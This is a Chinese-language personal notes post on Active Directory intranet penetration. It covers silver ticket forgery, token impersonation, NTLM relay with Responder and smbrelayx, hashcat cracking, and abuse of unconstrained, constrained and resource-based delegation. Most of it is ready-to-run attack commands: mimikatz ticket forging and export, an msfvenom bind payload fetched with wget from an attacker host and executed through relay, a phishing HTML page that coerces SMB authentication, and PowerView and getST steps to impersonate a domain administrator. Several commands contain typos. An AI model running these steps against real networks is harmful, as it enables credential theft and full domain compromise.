白银票据(Silver Tickets)是指伪的服务票据(ST),只能用来访问特定的服务,通过kerberos的认证原理得知ST是由TGS颁发的,使用了服务的密码hash加密,所以在伪造白银票据的时候需要知道服务的密码Hash。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而黄健票据在利用过程中是由KDC颁发TGT,并且在生成伪造的TGT的20分钟内,TGS不会对该TGT的真伪进行校验。而白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用krbtgt账号的密码哈希值,因为更为隐蔽。
攻击者利用白银票据传递攻击,需要掌握一下几个信息:
shell
域名
域 SID
目标服务器的 FQDN
可利用的服务
服务账号的 NTLM Hash
要伪造的用户名
演示:
我们利用白银票据伪造CIFS服务,CIFS服务通常用于windows主机之间的文件共享。
- 首先,登陆域控,抓取机器账号的Hash:
shell
privilege::debug
sekurlsa::logonpasswords

- 以上得到计算机账号的Hash为:f0954d00b21d338aa86051eca90f7f74(注意是 WIN-ENS2VR5TR3N$ 用户的 NTLM-Hash,不是 Administrator 用户,因为要利用共享服务账号),然后切换到普通域用户机器 Windows7 中,使用 mimikatz 生成伪造的白银票据:
shell
kerberos::golden /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /target:WIN-ENS2VR5TR3N.DEMO.com /rc4:f0954d00b21d338aa86051eca90f7f74 /service:cifs /user:douser /ptt
参数释义:
/sid 域的SID值
/rc4 server机器的hash
/service 可利用的服务,这里是cifs
/user 要伪造的用户名,这里任意填写
/target 域控制器名,即FQDN(全称)
执行结果如下

- 成功生成了伪造的白银票据,此时可以进行权限验证
令牌模拟攻击
允许渗透测试人员假装是系统或者网络上的另外一个用户,而不需要知道被模拟用户凭据
- 令牌的窃取和冒充
- 使用 meterpreter 中的 incognito 模块
shell
meterpreter> use incognito #加载模块
2. 枚举域的信息
shell
meterpreter> run post/windows/gather/enum_domain
3. 查看可以利用的令牌
shell
meterpreter> list_tokens -u
tips:
只要受害主机没有重新启动,这里用户的权限和安全策略都是可以在用户令牌上持久化的
shell
meterpreter> impersonate_token 域名\\用户名
meterpreter> impersonate_token "Test\\Administrator"
- 之后就冒充了test域管理员Administrator
NTLM中继攻击
NTLM Relay Attack全称为Net-NTLM Relay(中继) Attack
NTLM 认证
- 在一个是身份认证中,计算机从用户的密码中计算一个称之为NTLM哈希的加密哈希值
- 接下来,客户端计算机将用户的用户名发送到服务器
- 服务器返回一个成为nonce或者challenge的随机值(16 位)
- 然后,客户端使用 NTLM 哈希加密随机数(现在称之为响应),并将其发送到服务器端
- 服务器将响应连同用户名和随机数转发到域控制器.然后由域控制器执行验证
- 域控制器使用所提供的用户 NTLM 哈希对 challenge 本身进行加密,并将其与从服务器端收到的响应进行比较
- 如果二者相等,则请求认证成功
shell
在msf中使用 exploit/windows/smb/smb_relay 模块来进行中继攻击
此模块会将SMB身份验证请求转发到另外一台主机上,如果成功,则获得对身份认证的SMB会话的访问权限,如果连接用户是管理员,并且允许网络登录目标计算机,则此模块将执行任意Paylod
NTLM RELAY 攻击的先决条件
- LLMNR 或者 NBT-NS 已经启用,环境中必须有广播流量,例如链路本地主播名称解析(LLMNR )和 NetBIOS 名称解析(名称解析NBT-NS)
- 不需要 SMB 签名:必须有一个不需要签名的服务器消息块(SMB)服务器
- 内网主机使用相同的账号密码
shell
crackmapexec smb 10.10.10.0/24 --gen-relay-list relaytargets.txt #检查内网中的哪些主机可以用于中继攻击
使用NTLM中继攻击对内网主机进行渗透
当使用smb爆破不能得到内部主机的账号密码的时候,就可以使用NTLM中继攻击
- 使用 msfvenom 生成一个正向的连接
shell
msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.20 LPORT=6666 -e x86/shikata_ga_nai -f exe -o bind.exe
- 使用 wget 将其下载到上已经拿到权限的主机上(假设为192.168.12.30,内部地址为10.10.10.10)
shell
wget http://192.168.12.20/bind.exe
- 对目标主机使用 NTLM 中继攻击(例如目标主机为10.10.10.20)
在已经拿到权限的主机上执行
shell
cd /impacket/examples
python smbrelayx.py -h 10.10.10.20 -e ./bind.exe
- smbrelayx.py 脚本会伪造一个SMB服务
- -h 就是要中继的目标主机
- -e 表示要在目标主机上执行的命令
这时候需要使用社会工程学攻击,让内部的另外一个机器 10.10.10.30 去访问了我们的 10.10.10.10 的 SMB 服务
此时我们的 SMB 服务上面得到10.10.10.30 的 NTLM 哈希值并且把它转发到 10.10.10.20 上,并且将 bind.exe 传入且执行
tips:
这里有一个前提就是内部的另外一个主机 10.30 和目标主机 10.10 的账号密码一致
- 直接msf连接目标主机即可
shell
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.20
set lport 6666
lport => 6666
set autorunscript post/windows/manage/migrate
exploit -j -z
如果是内网机器则需要使用 proxychains 构造全局 socks 代理
- 这里如果不成功的话可以再去尝试让30访问 smb 服务,继续进行NTLM中继
使用responder进行NTLM中继
Responder 是一个嗅探和欺骗工具,用来监听网络上的 LLMNR、NBT-NS 和 DNs 消息,并将按列出的顺序回复发送这些类型的消息的任何系统,它只是允许Kali Linux捕获这些消息,并向网络上的客户机提供假响应
- 在被控制的一台机器上执行如下(假设为192.168.12.30,内部地址为10.10.10.10))
- 修改 Responder 配置文件 Responder.conf
SMB = On
HTTP = On
- 开启 SMB 和 HTTP 服务 启动监听
- 使用 Responder 来监听本网卡
shell
python Responder.py -I eth3 -rdwv
-I 指定网卡名称
-r 响应NetBIOS名称查询
-d 启用 NetBIOS 回复网络上的带域名后缀的查询
-w 伪造一个WPAD代理服务器
- 这里就会伪造一个 smb 服务
- 使用攻击机器来进行NTLM中继攻击
利用 mssql 访问触及网络资源访问,实现密码泄漏
(这里另外一台机器是 10.10.10.30)
shell
use auxiliary/admin/mssql/mssql_ntlm_stealer
set password 123456
set rhost 10.10.10.30
set smbproxy 10.10.10.10
set username root
exploit -j -z
#假设已经知道了内网10.10.10.30的mssql账号密码
#这里会强制让目标主机访问我们伪造的smb服务,从而得到NTLM哈希值
- 利用得到的 NTLM 哈希值使用hash破解工具破解
- hashcat 破解工具
hashcat 是首选的 hash 破解工具,用途广泛,而且破解速度极快
hashcat需要大量的算力,所以说需要很强的硬件
shell
#使用hashcat做基准测试
hashcat.exe -m 1000 -w 3 -b
#-m hash模式
#使用hashcat的字典攻击模式进行破解
hashcat -a 0 -m 0 -w 3 -o passwd.txt hash.txt /usr/share/wordlists/rockyou.txt
-a 自动攻击模式 0表示为字典攻击模式
-m 指定hash算法类型 0表示md5 hash算法
-w 3 表示高性能模式
-o 保存的文件名称
hashcat -m 0 hash3.txt --show 可以使用--show选项查看之前破解的hash值
委派(约束委派和非约束委派)
委派是一种域内应用模式,是指域内用户账户的权限委派给服务账号,服务账号因此能够以用户的身份在域内展开活动(请求新的服务等),类似于租房中介房东的关系去理解
域委派分类:
非约束委派(Unconstrained Delegation,UD)
机器A(域控)访问具有非约束委派权限的机器B的服务,会把当前认证用户(域管用户)的TGT放在ST票据中,一起发送给机器B,机器B会把TGT存储在lsass进程中以备下次重用.从而机器B就能使这个TGT模拟认证用户(域管用户)访问服务.
利用场景:
攻击者拿到一台非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的TGT,从而模拟域管用户.
shell
#查询域内设置了非约束委派的服务账户:
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
#查询域内设置了非约束委派的机器账户:
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1. 4.803:=524288))" dn
利用思路:
诱使域管理员访问机器
利用条件:
- 需要Administrator权限
- 域内主机的机器账户开启非约束委派
- 域控管理员远程访问(主动或者被动)
利用过程:
- 域控与委派机器通讯
- 主动:
shell
net use \\webserver
- 钓鱼:
shell
http://192.168.3.31/31.htm1
<DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="fi1e:///\\192.168.3.31\2">
</body>
</html>
- 导出票据到本地
shell
mimikatz sekurlsa::tickets /export
- 导入票据到内存
shell
#这里导入到票据主要是administrator的票据
mimikatz kerberos::ptt [0:4a6466]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi
- 连接通讯域控
shell
shell dir \\owa2010cn-god\c$
约束委派(Constrained Delegation,CD)
由于非约束的不安全性,微软在windows server 2003中引入了约束委派,对kerberos协议进行了扩展,引入了sservice for usr to self (S4U2Self)和Service for User to Proxy(S4U2 proxy)
利用场景:
如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派,则攻击者利用使用S4U2Self申请域管用户(administrator)访问A服务的ST1,然后使用s4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控.
复现配置:
- 机器设置了仅信任此计算机指定服务--cifs
- 用户设置了仅信任此计算机指定服务--cifs
利用思路:
- 使用机器账账户票据
利用条件:
- kekeo rubeus getST
- 需要administrator权限
- 目标账户配置了约束委派
判断查询:
shell
#查询机器用户(主机)配置了约束委派
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
#查询服务账户(主机)配置了约束委派
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
kekeo利用步骤:
- 获取用户的票据
shell
shell kekeo "tgt:ask /user:webadmin /domain:god.org /password:admin!#45 /ticket:administrator.kirbi" "exit"
shell kekeo "tgt:ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit"
- 利用用户票据获取域控票据
shell
shell kekeo "tgs::s4u /tgt:TGT webadmin@GOD.ORG krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god" "exit"
shell kekeo "tgs::s4u /tgt:TGT webadmin@GOD.ORG krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god.god.org" "exit"
- 导入票据到内存
shell
shell mimikatz kerberos:ptt TGS Administrator@god.org@GOD.ORG cifs~owa2010cn-god.god.org@GOD.ORG.kirbi
- 连接通讯域控
shell
shell dir \\owa2010-cn-god.god.org\c$
基于资源的约束委派(Resource Based Constrained Delegation,RBCD)
简而言之,非约束委派是指用户账户将自身的TGT转发给服务账户使用.约束委派通过S4U2Self和s4U2Proxy两个扩展协议服务账户只能访问特定服务资源.
PBCD主要就是委派的管理移交服务资源进行控制,其余和约束委派基本相同
资源约束委派(PBCD)是在windows server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关的属性,PBCD吧设置委派的权限赋予了机器本身,即机器自己可以决定谁可以委派谁来控制我,也就是说机器自身可以直接在自己账户上配置msDS-ALLowdToActonBehalfOfOtherIdentity属性来设置PBCD. 所以核心就是谁或者什么权限能修改msDS-AllowedToActOnBehalfOfOtherIdentity
简单的讲,也就是如果攻击者能够在data机器上设置msDS-AllowedToActOnBehalfOfOtherIdentity 属性为ServiceA,也就允许ServiceA利用s4u2self协议代表其他用户身份来访问data的话,那么我们就可以做到横向移动提权等操作.
资源约束委派利用分类:
- 通过管理主机加入域的用户拿下主机
- 已知Acount Operators组用户拿下主机
- 结合HTLM Relay攻击拿下主机(CVE-2019-1040)
横向移动-资源约束委派-利用域用户主机加入
- 利用思路:
计算机加入域的时候,加入域的用户被控后也将导致使用当前用户加入的计算机受控
- 利用条件:
- 允许创建机器账户
- 具有管理主机加入域的用户账户
- 利用过程:
- 判断是否有利用条件:
shell
#查询被域账户创建的机器账户列表
shell AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
#根据查找出来的sid找出对应的用户名:
shell AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(objectsid=S-1-5-21-1695257952-3088263962-2055235443-1104))" objectclass cn dn
- 开始利用新增机器用户
添加一个机器账户,用于申请票据
shell
#使用addcpmputer创建机器账户
python addcomputer.py xiaodi8.com/web2616:Xiaodi12345 -method LDAPS -computer-name test01\$ -computer-pass Password -dc-ip 192.168.139.11
#使用bloodyAD工具创建机器用户
python bloodyAD.py -d redteam.lab -u web2016 -p 'Xiaodi12345' --host 192.168.139.11 accComputer test01 'Passw0rd'
#使用PowerMad工具创建机器账户
powershell Set-ExecutionPolicy Bypass -Scope Process
powershell Import-Module .\Powermad.psl;New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
- 利用新增机器账户修改委派请求满足申请目标票款
shell
#修改目标主机的资源委派属性(data)
msds-allowedtoactonbehalfofotheridentity
#获取新增账户的objectsid
powershell Import-Module .\Powerview.ps1;Get-NetComputer serviceA -Properties objectsid
#修改data主机委派属性:
powershell import-module .\powerview.ps1;$SD =New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1104)"; $SDBytes = New-Object byte [] (SSD.BinaryLength);SSD.GetBinaryForm(SSDBytes,0);Get-DomainComputer datal | Set-Domainobject -Set @{'msds-allowedtoactonbehalfofotheridentity'=SSDBytes} -Verbose
#验证和清楚委派属性:
powershell import-module .\powerview.ps1;Get-DomainComputer data -Properties msds-allowedtoactonbehalfofotheridentity
powershell import-module .\powerview.ps1;Set-Domainobject data -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
#利用修改后的属性申请目标请求票据后倒入利用:
#利用serviceA 申请访问data主机cifs服务票据:
python getST.py -dc-ip 192.168.3.33 xiaodi/local/serviceA\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator
#导入票据到内存:
mimikatz kerberos::ptc administrator.ccache
#连接利用票据:
shell dir \\data.xiaodi.local\c$
账户分类:
机器账户: 计算机本身名称的账户,在域中computers组内的计算机
主机账户:计算机系统的主机账户,用于正常用户登入计算机使用
服务账户:计算机服务安装时创建的账户,用于服务运行时使用,不可用于登入计算机.
总结:
域渗透的思路:通过域成员主机,定位出域控制器IP以及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中的任何成员主机的特性,定位出于管理员登陆过的主机的IP,设法从域成员内存中DUMP从护域管理员密码,从而拿下域控制器,渗透整个内网。
自己结合着网上其他的大佬总结的一些内网笔记,若干年前写的,今天无意间看到,把它分享出来!!